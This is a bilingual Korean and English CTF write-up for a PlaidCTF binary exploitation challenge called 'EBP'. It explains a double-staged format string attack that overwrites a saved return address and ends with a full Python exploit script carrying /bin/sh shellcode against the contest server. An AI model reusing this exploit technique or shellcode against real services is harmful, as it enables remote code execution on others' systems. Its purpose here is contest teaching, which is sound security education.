먼저 대회에 대해 잡담을 하자면 왜 하필 pCTF는 매번 시험기간에 열리는지 모르겠네요ㅠㅠ

이번엔 운이 좋아서 시험이 첫 날에 끝나서 혼자 참가할 수 있었네요..


EBP 문제에서는 다음과 같은 바이너리가 주어집니다.

We are given a binary below:

ebp_a96f7231ab81e1b0d7fe24d660def25a.elf


바이너리가 하는 일은 간단합니다. fgets로 전역변수 buf에 1024글자까지 입력을 받아 echo()를 통해 response를 만들고, 출력해줍니다.

What the binary does is simple. It takes input through fgets up to 1024 characters, make response and print it inside echo().

hex-ray를 통해 열어보면 취약점을 금방 발견할 수 있는데요. make_response 함수에서 Format String Bug 취약점이 존재합니다.

We can easily find the vulnerability through hex-ray. In the function make_response(), there exists a Format String Bug vulnerability.

하지만 일반 FSB와는 다르게 buf가 스택에 존재하지 않아서 스택의 값을 변경할 수 없습니다. 이 때, Double Staged FSB라는 기법을 사용해서, 이미 스택에 존재하는 값을 이용해 원하는 주소를 스택에 만들고, 만들어진 주소를 이용해 원하는 주소의 값을 조작할 수 있습니다. (참고: http://pwn3r.tistory.com/entry/Docs-Double-Staged-Format-String-Attack)

However, unlike the usual FSB, buf does not exist on stack so we cannot change any value from stack. In situation like this, we can use a technique called "Double Staged FSB" to forge an existing value on a stack, and use that value to eventually forge an address we want. (Reference: http://pwn3r.tistory.com/entry/Docs-Double-Staged-Format-String-Attack)

그럼 한번 GDB를 통해 snprintf가 호출되기 직전의 stack 상황을 확인해봅시다.

Let's check the stack before calling snprintf() using GDB.

현재 함수의 EBP는 0xffffd538입니다. 0xffffd538에 있는 0xffffd558(이전 함수의 EBP)을 이용해서 이 주소의 값을 전 함수의 return address를 가리키는 주소(0xffffd55c)로 바꾸면 0xffffd55c의 값을 조작할 수 있게 됩니다.

Current EBP is 0xffffd538. Using this, we can overwrite the value on 0xffffd558, which is currently 0xffffd578, with 0xffffd55c, the pointer to return address from previous function, then using 0xffffd55c on the stack, we can change the value on 0xffffd55c, which is currently 0x8048557, to something else.


공격 방법을 도식화하자면 다음과 같습니다.

To visualize the attack procedure:

1. 현재 함수의 EBP를 이용해 전 함수의 EBP를 0xffffd55c로바꾸기

1. Overwrite the value of previous EBP with 0xffffd55c using current EBP

2. 바뀐 주소를 이용해 0xffffd55c(return address를 가리키는 주소) 바꾸기

2. Using the forged 0xffffd55c(pointing to return address), overwrite the return address


그럼 이제 %x를 몇 번을 해야 EBP의 값이 출력되는지 확인합시다.

Now let's check how many %x we need to fetch current EBP.

%4$x에 EBP값이 출력되네요. 그러면 다음과 같이 payload를 구상할 수 있습니다.

1. %4$x로 이전함수의 EBP값을 알아냄 (예: 0xffffd558)

2. 위의 값에 +4를 해서 return address를 담는 주소를 구해서 %4$n으로 덮어씌움 (예: 0xffffd55c => %54260c%4$hn)

3. 원하는 return address로 %12$n


%4$x will do. Then let's plan our payload as follows:

1. Use %4$x to fetch previous EBP (e.g. 0xffffd558)

2. Add 4 to the above address to get a pointer to return address and overwrite it with %4$n (e.g. 0xffffd55c => %54260c%4$hn)

3. Overwrite return address with %12$n


memory map을 확인해보면 buf에 실행 권한이 있음을 확인할 수 있습니다. 따라서 buf에 shellcode를 넣은 뒤, return address를 buf의 주소로 바꿔주면 됩니다.

Checking the memory map, we can notice there is +x permission on buf. So put shellcode on buf, and overwrite return address with the address of buf.


최종 exploit 코드는 다음과 같습니다.

Final exploit code is as follows:

from socket import *
import struct
import telnetlib

s = socket(2,1)
s.connect(('52.6.64.173',4545))

s.send('%4$x\n')
t = s.recv(1024).rstrip()
t = int(t,16)+4 & 0xffff # add 4 to get return address

# first stage
payload = '%'+`t`+'c%4$hn\n'
s.send(payload) # overwrite previous EBP with pointer to return address

# second stage
s.recv(1024)
shellcode = '\x31\xd2\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\x8d\x42\x0b\xcd\x80'
payload = shellcode+'%'+`(0xa080-len(shellcode))`+'c%12$hn\n'
s.send(payload) # overwrite return address to buf
s.recv(1024)

tc = telnetlib.Telnet()  
tc.sock = s
tc.interact() 


Flag: who_needs_stack_control_anyway?

+ Recent posts